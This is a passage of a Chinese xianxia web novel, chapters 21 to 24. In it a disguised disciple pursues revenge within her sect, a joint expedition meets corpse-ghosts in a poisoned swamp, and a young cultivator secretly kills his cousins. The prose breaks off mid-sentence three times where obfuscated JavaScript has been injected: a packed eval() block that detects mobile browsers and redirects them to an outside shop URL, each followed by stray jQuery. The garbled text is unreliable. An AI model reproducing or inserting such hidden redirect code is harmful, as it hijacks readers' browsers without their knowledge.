秦师宇是祝永浩二弟子,天份比祝从容高上许多,也比柳益高上许多,却没有柳益那般会做人,在柳益进门后便与师父决裂,择了个洞府专心炼丹悟道,不问世事。 听说师父死了,害死师父的师弟被逐出宗门,自己成了峰主,闭关多年的秦师宇只说了一句话:“不是新来了个优秀的弟子么,就让她代行峰主之职吧。” 林木儿首先表示反对:“她一个新入门的弟子,才来多久。” “当初柳益行代峰主职权时,也来离火宗不久。”秦炎说。 林木儿没好气:“所以这不是出事了吗?前车之鉴啊。” “现在也没比她更合适的人了。” “祝从容不行吗?” “他那修为,很难再升了。” 林木儿忽然觉得找什么理由都没用了,毕竟秦炎不管娶妻还是用人,唯一标准是:有用。 可那是丹药峰啊!是她,也是整个青木宗最看重的丹药峰啊! 林木儿意难平。 苏一枝站在丹药峰的观景台上,朝着绵绵青山,张开了臂膀。 她从未觉得心情如此舒畅。 记得当初半年历练归来,她被林木儿折磨得伤痕累累,体无完肤,有次实在受不了,拖着瘸腿一拐一拐来丹药峰求药。那时柳益还是个中级丹药师,掌管峰内杂务,看着他白皙温和的脸,苏一枝觉得自己必然是能求到药的。可药房的墨玉屏风后闪出了林木儿,只用一句话,便让柳益拒绝了她。 而当时,在屏风背后,还有一个人,那就是丹药峰峰主祝永浩。 他听到了一切,也知晓了一切,可他选择视而不见。 所以面对柳益给他下毒,苏一枝也选择了视而不见。 一报还一报,这很公平,公平的不得了。 苏一枝笑了。 她笑声越来越大,甚至笑得弯了腰,流出眼泪,些许怨气混在笑声中,顺着风飘出去,消逝在茫茫山林里。 柳益不知道她真实的修为是出窍期大圆满,丹药峰上发生的一切其实都逃不过她的眼睛。 她看到了柳益下药,也在前一天晚上就通过寂灭空间知晓了林木儿会来,所以将计就计。 真是,酣畅淋漓啊。 那时候也是在这里,梅踪说,你得自强自立。 苏一枝觉得她站着说话不腰疼,命都难保,如何自强? 可是有一天真的强了才发现,那些人看在眼里,原来是那么可笑。 代峰主什么的,很好,只有站得更高,才能吸引更多人上套,她相信下一个上钩的很快就会到来。 不过还没等来下一个上钩的,沼泽那边就又传来了耸人听闻的消息。 21. 第 21 章 白金宗和青木宗组成的捞尸小队遇上了怪事。 他们一路各种艰险,死伤无数,终于来到钟仙身亡地点,却遍寻不着钟仙影子。 不光是钟仙,白金宗那些弟子的尸首也全都消失不见。 林明和林暗质疑林河带错了路,引得白金宗众人不满,七嘴八舌吵了起来。吵着吵着,有人说,这是沼泽,尸首不见,唯一可能就是,陷入了淤泥里。 于是有人开始用所剩不多的灵力在沼泽里深挖。 挖着挖着,一个白金宗弟子蓦地大叫:“秦定国!” 众人纷纷抬眼望去,还没来得及看清,就听那弟子啊的一声惨叫,随即周身黑气弥漫,身子慢慢矮了下去,沉入沼泽里,只余一片血迹。 那个弟子和所谓的秦定国都消失了。 林明林暗驾起飞行法宝躲到林河身后,责问:“怎么回事?” 他们只是迫于面子来充数的,临行前林潭就交代过,凡事让别人先上,平安归来就好。反正是替白金宗找人,不,找尸,遇到危险,自然是白金宗的人先扛着。 林河淡淡看着乱成一团的白金宗弟子,漠然说了句:“不知道。” 白金宗领头的是个金丹后期长老,叫钟子皓,他稳了稳心神,命令:“再挖!” 众弟子又开始挖。 没多久,就有人叫:“钟理,是钟理!” 这次有了经验,那弟子叫完就闪,钟子皓一道符打上去,钟理被困在泥里暂时动弹不得,大家这才小心翼翼上前围观。 是钟理,但又不完全是钟理。 他身上血肉只剩一半,看起来几乎皮包骨头,整个人瘦小很多,脸上枯木般干瘪,皱纹如沟壑,一双眼睛全是瞳仁,黑漆漆没有半点光泽。 “这你也能认得出是钟理?”有人感叹。 “细看变化很大,看不出原来模样,但乍看之下,就会知道是他。”发现钟理的那人说。 “不会全埋底下变成这样了吧?先前的所有人?” “应该是,还有我们一路走来折损的。” “他还认得我们吗?” “认得个鬼,刚才钟逸之被害得多惨你没看见?” “怎么办?还挖吗?” 钟子皓顶着众人的目光,犹豫了一会,终于咬牙:“撤!” 但是晚了。 钟理身体突然暴起,直直向离得最近那个弟子冲了过去。 咔嚓! 那弟子的头已然断裂,跌落沼泽,人死灵气泄,整个人开始往下陷。 有人伸手想去拉他,钟子皓怒喝:“撤!快撤!” 沼泽里响起诡异的声音,顷刻之间,密密麻麻钻出许多半人半尸的玩意。 所有人催动飞行法宝,拼了命往外逃。 就在这时,林明却睁大了眼,不顾林暗的催促,指着下面急声道:“那是秦旺!秦老宗主!” 林暗打眼往下一瞧,也惊叫:“是他!” 两人想叫林河,却发现林河已随着众人飞出很远,再往下看,密密麻麻乱成一团,早分不出哪个是秦旺了。 飞逃至青山城西郊外,钟子皓才终于放松下来,清点了一下人数,50人竟只剩了8个,再看青木宗那边,一个不少,不由就有些气。 可想到这一路若不是林河指路并以符箓法阵相护,可能一个人都活不下来,气也就消了大半。 林明丝毫没察觉钟子皓的不满,一停下来就揪住钟子皓袖子:“方才你看到秦老宗主了吗?” 钟子皓甩了甩手:“忙着逃命,哪里顾得上。不过如果真是秦老宗主,倒是大事一桩。这样,你们先传消息回去,我们去青山城里修整。若是宗门那边有什么吩咐,大家等着便是。” 惊天的消息就这么经由青木宗,又传回了离火宗,继而震惊了整个大陆。 苏一枝当然也得知了这个消息。 她第一反应是到沼泽里去一探究竟,然而,根本走不开。 虽然从新弟子中又抓了二十来人,丹药峰还是忙不过来。 沼泽里的东西,她之前没有见过,团团整日在沼泽乱跑,也没有遇到。想来它们藏身淤泥,人多噪杂才会被惊动。 她以神识通知团团近期多加小心,不要被仙门发现,顺便留意一下那些埋在泥里的东西。 全体丹药峰疯狂炼了半个月药送到离心殿后,秦炎终于带着集结的队伍出发了。 不得不说,他冷静得让人害怕。 失踪多年的亲爹突然人不人鬼不鬼出现在沼泽,他竟然还坐得住,可以在这里等着丹药炼够。 此等大事,没人可以置身事外,白金宗和青木宗都加派了人手,三大宗门各派出四名长老,分别带一百名精英弟子,由宗主领着,前往青山城,到青山城采买些法宝丹药,然后进进入沼泽。 林潭想让自己两个儿子回来,他生怕自己此行有个万一,两个儿子万一再折了,只剩幼子林柯,如何控得住局面。可林渊笑说这么多宗主在,还能让侄子有什么危险不成,也该让他们历练历练了,没准历练回来,修为就能提升了。 林潭心中憋屈,又无法反驳。 他长子林明已然50,不知怎么的,十年前就已结金丹,现在还停留在金丹初期。 次子林暗,39岁,资质好些,于十年前进入金丹中期,虽然到现在也没见长进,但至少还年轻。 更要命的是,这两个家伙,子息方面似乎也有些问题。 林明有一子三女,最小的孩子11岁,之后老婆没少找,孩子却没再生出一个,气得林潭差点要将那些女人全部扔去祭天坑。 林暗就更气人了,就三个女儿,大女儿18,二女儿12,小女儿3岁,之后就没再生过孩子,也没再找老婆,说是小女儿的娘死了,他忘不掉,准备用一生一世来怀念。 老林家还出了个情种,把林潭气笑了。 至于三儿子林柯,倒是资质尚可,才19岁,已经在冲击金丹期,最重要的是,没有修为突然停滞的迹象。 林潭长叹,找普通女子生娃,一生一堆时固然喜悦,可这资质,实在是一言难尽啊。 他怎么就没有弟弟那般运气呢,领养都能领到林河这种天才。好在林渊亲生的那个,虽然聪明,看着却是个不长命的。 林潭完全忘了自己资质也很平凡这回事,他又开始意难平,要是能把林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997044|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木儿的资质换给林明,该有多好。 林木儿有身孕,没去沼泽,留守离火宗。 她近来心里总是很慌,患得患失,有时不由会怀念起柳益来。 自从柳益被废,真是有诸多不便,虽然苏苏水平更高,也同为女性,但她莫名感觉苏苏让她不适,甚至让她不安。 如今细想,自从苏苏入门,离火宗便不断出事,而这些事,又似乎都围绕着苏苏。 柳益是苏苏师父,祝永浩是苏苏师祖,一死一废。 虽然柳益承认是自己下的毒,但怎么那么巧,苏苏就置身事外,让自己替她去送了饭菜呢? 再细推,钟仙之所以出事,也是因为听了苏苏的话,去采什么驻颜的灵草! 想到这里,林木儿片刻都等不了,立刻朝丹药峰赶去。 “有事?”苏一枝见林木来风风火火来丹药峰,却又不发一声,只盯着自己瞧,有点莫名其妙。 林木儿蹙眉:“我忽然觉得,一直以来,你跟我说话的语气,都不太像普通弟子面对宗主夫人。” “我本来就不是普通弟子。” 林木儿眉头拧成了一条:“即使是精英弟子,也没有你这样跟我说话的。” 苏一枝将最后一份药材投进玄天鼎,直起腰:“夫人有话不妨直说。” “你是谁?” “唉。”苏一枝叹了口气,“人有了身孕,脾气总是会变得古怪些,这不怪你。但你似乎搞错了对象,你应该去找秦宗主发脾气才对。” “哦!”她作恍然大悟状,“宗主去了荒芜沼泽,那你去找你的好姐妹林桐桐秦玉芝她们。” “你怎么不敢提钟仙?” “?”苏一枝瞠目结舌,“我若让你去找钟仙,岂不是在咒你?” “钟仙是你害死的。” 林木儿用的是肯定句。 她以前没怎么注意,也不太愿意细看这位苏苏,如今仔细瞧,竟觉得有些眼熟。 “你是谁?”她再次问,“混进离火宗想做什么?” 苏一枝看着眼前怒气冲冲又隐忍不发的林木儿,心想她到底还是成熟了不少。 若是以前,估计直接就先上手,打了之后再问了。 之前那么多次的屈辱与折磨,又有哪次先问过她了呢。 那次历练归来,她17岁生日,林木儿便是上来直接几个耳光,然后骂她贱人,狐媚子,用了下作手段勾引秦炎。哪怕她解释自己半年历练并未与秦炎一起,也无济于事。 没有人会听她的解释。 她变了,林木儿也变了。 林木儿忽然想起了眼前的女人像谁,她盯着那张脸,越看越是心惊,盯久了,竟觉得透过那脸,看到了另外一个人的样子。 她拼命甩了甩头,觉得不可能,但那念头一旦钻入脑子,便再也甩不掉了。 尽管眼前的人身段更高更妖娆,脸更消瘦,下巴更尖,皮肤更白皙细腻,眼神更冷漠犀利。 明明不像,却又很像,她说不出这是种什么样的感觉。 “苏一枝,你是苏一枝。”她说。 苏一枝微笑:“林木儿,我等你认出我,等很久了。” 22. 第 22 章 林木儿浑身发冷,她迅速后退半步,见苏一枝没有要动的迹象,才慢慢退出丹药峰,拿出传音符:“林河,带上你的觅魂珠,立刻回来离火宗。” 没有回音。 林木儿思索了一会,又传道:“算了,不用了。” 真是气糊涂了,对方都承认了,还用得着找林河来用觅魂珠确认? 林木儿叫来了秦玉芝和林桐桐。 林桐桐端详着手里的黄丝状?草花,总觉得上面还沾了钟仙的血。 她好几次想直接吃了算了,又怕效果无法持久,想去找苏药师帮忙炼了,然而上次惊吓过甚,一直没有恢复,不太想出门。现在林木儿传她前去离火宗,她想了想,决定将花带上。 秦玉芝又有了身孕,且显怀比林木儿早些,整个人圆润不少,一来就笑得娇憨可人:“我正说着这几天要来一趟呢,刚好就收到你消息,真巧。” 三个人,两个孕妇。 林桐桐握紧手里的花,突然想顺从长辈嫁给青木宗那个弟子算了,她已经不再想嫁给鱼跃。 这段时间一想起鱼跃,她眼前就会浮现钟仙掉落在黑泥里的眼珠子,瞬间失了大半血肉的身体。 当初在湖里的种种狂浪与温存,回忆起来依旧面红耳热,却总觉得渐渐失了真切。 “你们最近有去离火宗找苏药师吗?”林木儿状似随意道。 “正要去呢。”两人异口同声。 “你们……”林木儿斟酌着用词,“有没有觉得,那个苏苏看着很眼熟?” “没怎么注意。”秦玉芝好奇地摸了一把林木儿的肚子,又摸摸自己的,“我觉得她看着有些距离感,很难亲近的样子,就没怎么细看过,只知道很漂亮。” 林木儿看着她,眼神怜悯与嫌弃夹杂:“白痴。” 林桐桐寡淡的脸上现出喜色:“你终于发现了吗?” “啪!”林木儿反手就是一个耳光,“你早发现了,为何不说?还要跟着钟仙一起去找什么美颜草!” 真是久违的耳光,林桐桐心里弥漫出一丝悲哀,她捂着自己的脸,嗫嚅道:“我不确定,哪敢随便说。” 她向来存在感不高,喜欢躲在一边偷偷观察别人,早就觉得苏苏跟当年的苏一枝有点像了,可是,她吃饱了撑的,要跟林木儿说苏苏像苏一枝? 找不痛快吗? 当年发生了什么,苏一枝又是怎么消失的,大家都心知肚明。 林桐桐都纳闷,林木儿居然这么久才意识到,而秦玉芝作为当年苏一枝唯一的好友,到现在还毫无察觉。果然她们这种天之骄女,其实是不太将别人放在心上的。不会如自己这般,整日像只灰溜溜的老鼠,仔细观察小心打量着每一个人。 “怎么了?”秦玉芝茫然。 林木儿嫌弃瞥她一眼:“我真羡慕你,可以蠢得如此天真无邪。” “难道真的是她?”林桐桐汗流浃背了,她还以为只是有那么一点像。 “她已经承认了。” “那你打她了吗?” “我为何要打她?我那么喜欢打人吗?” 林桐桐摸了摸脸,心想刚刚打我的难道是鬼,你也就是做了宗主夫人,才没以前那么频繁打人了。 原来这整个仙门,自己始终是最底层的那个,从来没变过。哪怕从前有苏一枝,苏一枝之后她又找了别人,但只要没了顶在前面的,林木儿矛头对准的一直是自己。 “你们到底在说什么?”秦玉芝插不上话,憋得脸都红了。 林桐桐意兴阑珊:“那个苏苏,是以前的苏一枝。” 秦玉芝一双眼睛顿时瞪得滚圆:“怎么可能?” “要不要告诉秦炎?”她又问。 “先不用。”林木儿说,“你们也不准说出去。” “为什么?”秦玉芝不解。 “他还能帮你杀了她不成?”林木儿已经不想说话了。 林桐桐心底忽然不合时宜地浮现出一丝好笑,她心想,帮谁杀呢,这里面最想杀苏一枝的,不是自己,也不是秦玉芝,只能是你林木儿啊。 不过她多少有点理解林木儿的想法,当初秦炎只是讨厌苏一枝,或许也不是讨厌,而是瞧不上,却绝对没有想让苏一枝死。要是他知道了苏苏就是苏一枝,明白了过去发生的一切,后果难以想象。 毕竟苏一枝现在不但看着比以前聪明漂亮了,还掌握着离火宗丹药命脉,是有用之人。愧疚心理加上惜才,要不是秦家有那个不二娶的家训,说不定离火宗还得多一个宗主夫人呢。 林木儿像是看透了林桐桐的想法,冷笑:“不要觉得自己可以置身事外,你们以为,祝峰主被毒杀,柳益被逐,钟仙的死,都是巧合?长点脑子吧,下一个不定是谁呢,反正肯定不是我。” 秦玉芝茫然:“为什么?” 为什么不是她?苏一枝最恨的不就是她吗? 林桐桐拍了拍秦玉芝肩膀:“如果苏一枝真的是回来报仇的,她会把木儿放到最后再对付。” 所以虽然她们都是听命于林木儿,但此时此刻,却比林木儿更危险。 这很不公平,但世上从来就没有所谓公平。 “我们要如何做?”林桐桐问。 “我觉得,先想办法把她赶出离火宗吧。”秦玉芝难得聪明一回。 苏一枝坐在神木顶,看着那几人的密谋,笑得很开心。 你看,她都不用谋划如何去报仇,仇人自己就会送上门来,她只要顺水推舟将计就计便可。 见几人密谋完,确定她们今日暂时不会来烦自己,苏一枝出了秘境,扔下个纸人代替自己看着药房,然后便唤出桃夭,前往洞府。 她要趁大部分人都不在,悄悄离开,去渡个雷劫。 秦炎都已经出窍期了,她总不能还停留在出窍期大圆满吧? 境界高一级压死人,她必须保持优势,不然伪装起来,会很容易被识破。 去洞府会路过青山城,苏一枝看到几大宗门的人仍聚在那里。 所谓的三大宗主齐齐出动,其实不过是坐镇青山城,组织弟子们分批有序去沼泽查看。 秦旭和梅踪也在,听说当初秦旺失踪后,他们两个离开宗门,几乎将狐妖林翻了个遍,然后就四处游历,期待能寻到些蛛丝马迹,可惜这么多年一无所获。 这些日子苏一枝也通过各方消息了解到,沼泽里那些东西叫尸鬼,是黑水门鱼跃所养。 鱼家秘术擅长夺人寿元,久而久之,黑水门人丁稀薄,可以用来夺寿的越来越少。而那些被他们夺取了修为寿命甚至性命的人,浪费了实在可惜。因此鱼跃便将其全部养在荒芜沼泽,让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010053|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们吸收足够的怨气,以毒淬体,养出攻击力极强的尸鬼。 这一切,从他17岁那年偶然屠了个村子时便开始了。 如今21年过去,尸鬼已颇具规模,但因深藏沼泽,无人知晓。 鱼跃经常在附近巡视,凡是发现这个秘密的,都被他灭口扔进去养成尸鬼了,其中也不乏一些修真派头脸人物,比如说,秦旺。 三大宗门的人一直以为,有万里荒芜沼泽相隔,黑水门无论多邪恶,也都与他们无关。 东边,有荒山狐妖林青山,两山一林阻挡下,黑水门轻易无法接触到青木宗。 西边,有黑山黑湖和北矿山,然后才是白金宗。 至于中间,便是万里沼泽。 所以大家觉得,只要青木宗和白金宗各守住东西两方,黑水门绝无南下可能。 他们没想到的是,黑水门势力竟然会借着沼泽暗中南扩,如今怕是小半个荒芜沼泽都在他们控制之下了。 荒芜沼泽啊,绵延万里、无边无际、深不可测、毒气弥漫、妖兽出没的荒芜沼泽啊! 黑水门的邪门功法真的就那么厉害吗? 小部分仙门弟子道心都开始受到影响。 很好,苏一枝很满意,她就喜欢看那些平日里高高在上的人怀疑人生。 将团团叫回来,和三尾灵豹一起守在洞府外,又设了个结界,苏一枝开始放任灵力增长,引动雷劫。 紫色雷电笼罩青山,也映入青山城一众修士的眼中。 “有人在渡劫?”秦炎看出那是分神期雷云,面色凝重。 “是你们青木宗的?”钟刚问。 不怪他有此一问,毕竟青山这里离青木宗最近。 林潭心塞,他倒希望是青木宗的,但青木宗修为最高的林渊不过出窍期。 “有没有可能是黑水门的人?”林渊说。 青山的确离青木宗最近,只隔了个青山小镇和青山城,但要说起来,它离黑水门也不远,往北过了狐妖林,再过荒山,就是黑水门地界了。 黑水门的人经常会在荒山出没,越过狐妖林在青山渡劫也不是没有可能。 钟刚看向秦炎:“要上山看看吗?” 秦炎摇头:“算了,没必要再生事端,即使上去,我们也没人是对手。” 林河盯着黑黝黝的青山上那道道紫电,嘴角微翘,眼睛亮闪闪的。 是她吗? 她果然跟自己一样,也压制着修为啊。 不,还是不一样的,自己是压制着修为,而她,更像是一种伪装。 如今她都在渡分神期雷劫了,可是在众人眼里,她仍然是个金丹期。 而自己,因为在别人眼里是双灵根,只能生生将修为压制在元婴初期。 他想起之前收到的灵符传讯,林木儿让他带着觅魂珠回去,怎么,暴露了? 林河忽然有点期待事情的发展了。 真想回去看戏呀,可惜,他接到了进沼泽的任务。 秦炎决定亲自带人去沼泽里找到秦旺,将他带回来。 三大宗门各出几名长老和50名弟子跟随,青木宗长老赵延,离火宗秦炎,秦旭,梅踪,还有长老丁鹏,白金宗长老钟吾真,吕严,还有一个有经验的钟子皓。 林河,就是被选中的精英弟子之一。 23. 第 23 章 因为林河被林潭点了,所以林明林暗也没有逃过林渊的拱火,全在第一批队伍里。 秦炎的飞行法器巨大,坐得下所有人,大家开始还紧张看着下面,慢慢就开始闲聊。 这批弟子以年长者居多,最年轻的除了林河就是白金宗一个叫钟耀的,21岁,金丹中期。 有人说,虽然有秦宗主带队,但在另外两个宗主眼里,仍然觉得他们这批就是来送死的,所以根本舍不得派本家长老来,来的都是外姓。就连弟子,也净挑些年长的,除了那两位。 他们目光齐齐盯住钟耀和林河。 “钟耀,不是钟家本家么?” “他还不如那位收养的呢,是义子。” “放什么屁,谁说没有本家的?我们钟吾真长老都来了。” “钟吾真长老来了不能说明什么,现在各宗门主要保护的是年轻弟子。” “没你们说的那种事,没见林宗主两个儿子都在么。而且钟子皓长老,也是钟家本家的。” “哈,说到这个,你是没看到林宗主被林长老架在火上烤啊。” “怎么说?” 林河从来不在意别人的想法,也懒得理那些莫名其妙看向钟耀又看向自己的眼神。 倒是钟耀,许是听了这些议论,觉得和林河有些共鸣,便看着林河,往这边挤了挤,勾起嘴角:“你好,林兄。” 林河闭上了眼睛,林什么兄,还不知道谁年纪大呢。当然,要是叫林弟,他也不会答应,他就是不喜欢这人,或者说,他不喜欢所有人,除了她。 钟耀笑容僵在脸上。 金丹期以下修士进入沼泽的极限是300里,再往里,根本承受不住毒气,如今来的都是金丹期以上,但到了约摸300里处,秦炎还是让大家下了飞行法宝,各自前行。 毒气浓郁,消耗灵力巨大,他的飞行法宝已经无法支撑那么多人了。 大家开始拿出自己的飞行法宝,在沼泽里继续前行。 “真吃力啊,有种飞不动的感觉。”白金宗一个叫吕右中的说。 “知道我们宗主有多辛苦了吧?” 说话的是离火宗的秦里生,按辈分应该算秦炎的远房侄子。 “秦宗主真是年少有为啊。” “要说年少有为,我们宗主也毫不逊色。” “钟宗主最棒的难道不是娶妻第一胎就生了龙凤胎么?” “安静!看,那是什么?!” 沼泽被淡淡的毒雾笼罩着,一切都看不太清晰,远远地,像是有什么东西在地底挣扎起伏。 众人安静下来,隐隐听到脚底传来阵阵沙沙嗡嗡的声音,杂乱,怪异。 “小心!”秦炎刷地祭出法阵,红色火墙瞬间将所有人牢牢护住。 大家在移动的火墙里一步步向前走。 “还撑得住吗?”秦旭看着秦炎,一脸担忧。 “没事。”秦炎凝神看着前方,地底下蛄蛹着的东西终于现出真身。 人,密密麻麻的人。 不,或许说是人干更合适,还是黑色的,据打听情报的弟子说,这叫尸鬼。 秦炎一眼就看到了自己的父亲,然而再一看,却又找不到了,那么多尸鬼看起来大同小异,他分不清哪个是秦旺。 “真是奇怪。”秦旭说,“我刚刚明明看到了父亲,怎么不见了。” “这应该是一种幻术,”梅踪取出腰间葫芦,“待我来破了它。” 她将葫芦扔出去,葫芦升至空中,倾斜着,绿色藤条从葫芦口伸出,垂下来,洒下一片清凉绿意。 那些雨珠落到沼泽里,灰蒙蒙的毒雾散去,尸鬼们的身形和面容渐渐清晰,原本看着几乎一模一样的脸也变得各不相同,虽然因为失了大半血肉,看起来有些狰狞,但还是能清楚分辨出谁是谁的。 “钟仙姑娘!”吕严长老叫了一声。 “钟理和秦定国都在,其他人呢?” “说不定还在地底下。” 钟吾真冲了出去。 钟子皓冲也不是,不冲也不是,急得在法阵里叫:“师父!” 眼见钟吾真瞬间被尸鬼包围,秦炎道:“大家不要轻举妄动,别出火墙。” “我去帮师父,你们一定要小心。不要看到熟人就放松警惕,他们已经不是你们认识的那个人了,甚至,已经不算是人。”钟子皓提醒那些想跟着钟吾真往外冲的弟子,同时也算是提醒秦炎秦旭。 秦炎听懂了,他一向冷静克制,甚少有什么情绪上的起伏。 “嫂子,我记得你的清妖,不但可以清除幻术解毒,还可以将毒物吸收进去净化?”他问。 梅踪惊了:“你……你是说?” “对,能不能将父亲吸进你的清妖?” “你觉得父亲是毒物?”秦旭皱眉。 梅踪犹豫:“我没把握。而且,清妖只能净化一些小的物件,这么大一个人,没试过。” “总要试试。”秦炎额上冒出汗珠,他开始觉得维持这法阵有些吃力了。 钟耀拨开围在秦炎几人身边的弟子,脸上带着期翼:“既如此,那钟仙和先前折在这里的白金门弟子也一并收了吧。” “抱歉,”梅踪说,“葫芦最多只能容纳一人,这还是在公公他身形已然缩小的情况下才能做到。” “那我们怎么办?”钟耀呆滞。 “我会……”秦炎话未说完,忽然被人群中一道声音打断。 “他根本就没想过管我们白金宗!从头到尾,离火宗只想着他们自己!” 一石激起千层浪。 “对!费这么大功夫把白金宗青木宗一起拉来,不过就想让大家帮他们老宗主收尸!” “那我们怎么办?” “还能怎么办?救我们的长老啊!” “法阵开始松动了!” “果然收到尸就不管我们了吗?” “反正都是死在沼泽里变成尸鬼,先把钟吾真长老救出来,拼了!” 可是在他们看不见的尸鬼包围圈里,钟吾真长老早已陷入淤泥。 沼泽的毒气和那些尸鬼并不能奈他何,他死在了钟仙手里。 沼泽里本就十分消耗灵力,秦炎撑着这样大一个法阵,早就灵力不继,火墙开始出现缺口。 秦旭将手附在弟弟手上,秦炎推开了他。 “你的灵力,留着护送大家出去吧。注意一下嫂子。” “那也得帮你撑着法阵先。” 梅踪正在操纵她的葫芦吸收秦旺。 她的确是第一次做这样的事,以前清妖吸收物品,都是转瞬即入,哪像现在这般费劲,灵力都耗了大半,秦旺才刚刚接近葫芦口。 “别让她成!不然她们就跑了!” 人群中突然飞出几张金色符箓,直朝梅踪面门而来。 秦旭原本正帮秦炎撑着法阵,见状急忙去护梅踪,本就摇摇欲坠的法阵终于裂开一道巨大缺口。 “看!我就说吧!他不想管我们了!” “这是连装都不装了吗?” “我说你们怎么回事?看不出来他灵力跟不上了吗?”林明看不下去了。 他也想帮忙撑阵,有阵挡着,安全得多,但他灵力不够看。 他斜睨了一眼林河:“你不是元婴了吗?你去帮忙。” 林河眼皮子都没抬。 周围乱糟糟的,不光白金宗,就连青木宗很多弟子也开始躁动不安。 在场几位长老,丁鹏吕严钟子皓都是金丹后期,赵延甚至只有金丹中期,他们不是不想帮,而是没有能力帮。金丹期和元婴期的修为差距是巨大的,更何况秦炎已经出窍初期,他们的灵力投入秦炎法阵,无异于大海里汇入一滴水。 林暗咬牙:“你这小子,不会真的记挂着木儿吧?想趁机把秦炎耗死在这里?他要死了,大家都出不去!” 林河笑了一下:“我出得去啊。” “你!”林暗冷笑,“就算你害死秦炎,木儿也不是你能肖想的。” “堂兄现在脑子里还是会想这些男女之事吗?我以为早消停了。” “你什么意思?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020198|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “两位堂兄从十年前起就没再有过孩子,我还以为不行了呢。啊,不对,二堂兄是有的,不过听说二堂兄小女儿出生没多久,她妈妈就死了。我到现在都不知道,那位小嫂嫂是怎么死的。怎么死的呀,二堂兄?” 林明林暗盯着林河,眼神从慌乱,到震惊,到怨毒。 “你还知道什么?”林暗牙都快咬碎。 林河笑得高深莫测:“我还知道你俩今天会死。” “什么?” “轰!” 林暗的疑问和火墙的崩塌同时发生,人群顿时陷入混乱。 林河出手了。 看着眼前两人在混乱中倒下,陷入泥污,林河脑子里忽然响起两道声音。 那是来自十年前的声音。 “苏一枝那丫头真是尤物,身体残破成那样了,皮肤摸着还细腻得很。” “你还摸了?” “我哪敢多摸,爹看着呢。哎,我们要不要经常去思过崖看看啊,哈哈。” “就光看?” “有机会做点别的,也不是不行啊,那样算不算绿了秦炎?” “算个屁,秦炎要是真会娶她,你今天能有那机会?” 10岁的林河躲在青木宗假山后,握紧了拳头,指甲深深陷入肉里。 第二天,林明和林暗便不举了。 不过此等丢人之事,他们并没有声张,甚至彼此都不知道对方也这样了。 也是从那一天开始,两人修为进入停滞期,十年来无论他们如何努力,都没有再增长半点。 一切,只有林河清楚。 就好像现在,沼泽早已乱成一片,惨叫声连天,没有人知道林明林暗到底是怎么死的。 只有林河知道。 但其实在林河不知道的地方,有双眼睛一直在观察着他。 大概离此地四百里,有处搭建在沼泽里的平台,上面亭台楼阁,不时有人走动,因设了隐匿法阵,外人发现不了。 这是鱼跃用来观测尸鬼的观尸台,平日里要是有人误闯沼泽,接近养尸之地,他就会将那人杀死。 养尸鬼之事本是秘密进行,谁知前些日子白金宗那些破人接连跑进沼泽,惊醒沉睡的尸鬼,现在想瞒也瞒不住了。 “你说咱们都有邪神了,想干啥不行,门主还费劲巴拉养这玩意干嘛。” “嘘,别怪我没提醒你,最好不要当着门主的面提邪神。” “为什么?” “看不出来门主不喜欢邪神他老人家吗?” “你怎么知道?我看门主对邪神尊敬得很啊。” “原本我也以为是这样,但上次就因为当着门主的面夸了邪神真灵验,结果,被门主吊了整整一夜。” “什么?那次居然是因为这个?说实话我们还以为你肯定要被吸成人干了。” “快别说了,我到现在都还后怕。” 两人齐齐向长廊尽头的亭子看去。 鱼跃正倚在亭子栏杆上,用他那只名为千里眼的法宝,远远观赏着沼泽里的血腥厮杀,也观察着林河。 他看到了林河杀死林明林暗的全过程。 有意思。 鱼跃摇了摇寒冰扇,想起上次触到林河手臂,差点被他反吸修为,那小子,居然会黑水门的刹魂术! 他当时想抓住对方问个究竟,可那小子比泥鳅还滑,他一愣神的功夫,已经不知道逃到哪里去了。 青木宗竟然有人偷练刹魂术,这已经够有意思了。 更有意思的是,他后来打听了一下,听说林河是水木双灵根,可刹魂术对灵根是有要求的,能练到差点反吸自己的地步,必然得是纯粹水灵根。 而现在,更更有意思的事情出现了,林河居然杀了自己同伴。 鱼跃真恨不得马上将林河抓来问个究竟,但那边打成一团,秦炎秦旭都在,他不便现身,等方便现身时,林河早跟着残余的人离开了。 想到他们带走了秦旺,鱼跃又有点乐,他想知道,那两个姓秦的,难不成真的还会将秦旺当爹? 24. 第 24 章 三大宗门损失惨重。 白金宗钟吾真长老战死,钟子皓吕严重伤,50名弟子只回来6名,离火宗丁鹏长老战死,秦炎重伤,秦旭梅踪为救秦炎也受伤不轻,50名弟子回来3名,至于青木宗,长老赵延虽然没死,但也受伤不浅,50名弟子回来8名,重要的是,林明林暗死了。 